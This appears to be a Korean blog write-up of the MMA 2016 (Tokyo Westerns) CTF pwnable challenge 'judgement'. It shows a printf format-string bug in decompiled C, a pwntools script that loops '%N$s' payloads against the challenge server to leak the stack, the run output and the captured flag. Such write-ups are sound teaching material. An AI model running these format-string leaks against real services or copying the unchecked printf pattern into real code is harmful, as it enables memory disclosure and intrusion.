본문 바로가기

CTFs/MMA 2016

[MMA 2016] pwnable : judgement

judgement

이번 문제는 입력을 받고 그 값이 플레그하고 같은지 검사를 해 주는 프로그램이다.

분석해 보면 다음 부분에서 FSB 버그가 존재한다.

1
2
3
4
5
6
7
  printf("Flag judgment system\nInput flag >> ");
  if ( getnline(&format, 64) )
  {
    printf(&format); // vulnerable!
    if ( !strcmp(&format, flag) )
    ...
  }
cs


getline() 함수로 입력을 받는데, 내부에 Isprint 함수를 사용해 읽을 수 없는 아스키 코드는 입력이 불가능 하다. (딱히 문젠 안된다!)

풀이는 %1s %2s ... %10s ... 이런식으로 계속 보내서 스택을 leak 해서 스택 어딘가 저장되어있는 flag 를 출력해 주면 된다!


아래는 공격 코드 // 한 20번 쯤 돌아가니 flag 가 나온다.

1
2
3
4
5
6
7
8
9
from pwn import *
 
for i in range(100):
    #s = process('./judgement')
    s = remote('pwn1.chal.ctf.westerns.tokyo'31729)
    s.sendline("%{}$s".format(str(i)))
    flag = s.recv(1024)
    if 'TWCTF' in flag:
        print flag 
cs


1
2
3
4
5
6
7
zero@ubuntu:~/Desktop$ python judge.py
[+] Opening connection to pwn1.chal.ctf.westerns.tokyo on port 31729: Done
...
[+] Opening connection to pwn1.chal.ctf.westerns.tokyo on port 31729: Done
Flag judgment system
Input flag >> TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}
Wrong flag...
cs


Flag : TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}

'CTFs > MMA 2016' 카테고리의 다른 글

[MMA 2016] crypto : Super Express  (0) 2016.09.05
[MMA 2016] forensic : Rescue Data 1 : deadnas  (2) 2016.09.05
[MMA 2016] misc : ninth  (0) 2016.09.05
[MMA 2016] crypto : Twin Primes  (0) 2016.09.05
[MMA 2016] misc : glance  (0) 2016.09.05